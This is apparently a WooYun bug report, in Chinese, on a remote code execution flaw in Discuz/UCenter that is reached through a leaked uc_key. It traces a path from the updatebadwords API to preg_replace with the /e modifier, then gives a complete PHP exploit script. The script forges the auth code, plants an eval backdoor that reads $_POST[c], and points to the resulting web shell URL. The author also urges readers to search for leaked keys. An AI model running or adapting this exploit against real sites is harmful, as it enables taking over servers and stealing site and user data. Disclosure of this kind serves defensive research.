### 简要描述：
http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候，包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923)
不过好像官方还是不太重视，特意再提一下，不用登陆后台，直接前台能利用（顺便打卡^-^）
乌云搜索uc_key会有很多惊喜哦。
### 详细说明：
\api\uc.php
```
function updatebadwords($get, $post) {
global $_G;
if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}
$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}
```
更新 uc_client/data/cache/badwords.php
再看
\source\module\forum\forum_ajax.php
```
if($_GET['action'] == 'checkusername') {
$username = trim($_GET['username']);
$usernamelen = dstrlen($username);
if($usernamelen < 3) {
showmessage('profile_username_tooshort', '', array(), array('handle' => false));
} elseif($usernamelen > 15) {
showmessage('profile_username_toolong', '', array(), array('handle' => false));
}
loaducenter();
$ucresult = uc_user_checkname($username);
```
跟踪 uc_user_checkname
```
function uc_user_checkname($username) {
return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));
}
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');
```
默认情况下
UC_API_FUNC为 uc_api_mysql
```
function uc_api_mysql($model, $action, $args=array()) {
global $uc_controls;
if(empty($uc_controls[$model])) {
include_once UC_ROOT.'./lib/db.class.php';
include_once UC_ROOT.'./model/base.php';
include_once UC_ROOT."./control/$model.php";
eval("\$uc_controls['$model'] = new {$model}control();");
}
if($action{0} != '_') {
$args = uc_addslashes($args, 1, TRUE);
$action = 'on'.$action;
$uc_controls[$model]->input = $args;
return $uc_controls[$model]->$action($args);
} else {
return '';
}
}
```
继续跟综到
```
function check_usernamecensor($username) {
$_CACHE['badwords'] = $this->base->cache('badwords');
$censorusername = $this->base->get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
} else {
return TRUE;
}
}
```
注意到
@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)
两个参数都可控，即可造成命令执行。
### 漏洞证明：
利用脚本，3.2后要加上 formhash + cookie 绕过xss拦截
```
<?php
$timestamp = time()+10*3600;
$host="www.host.com";
$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
$uc_key="uckey";
$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/admin/e</item>
<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
</item>
</root>';
/* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */
$html1 = send($cmd1);
echo $html1;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
```
提交后，shell地址为：
http://127.0.0.1/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin
京公网安备 11010502034610号
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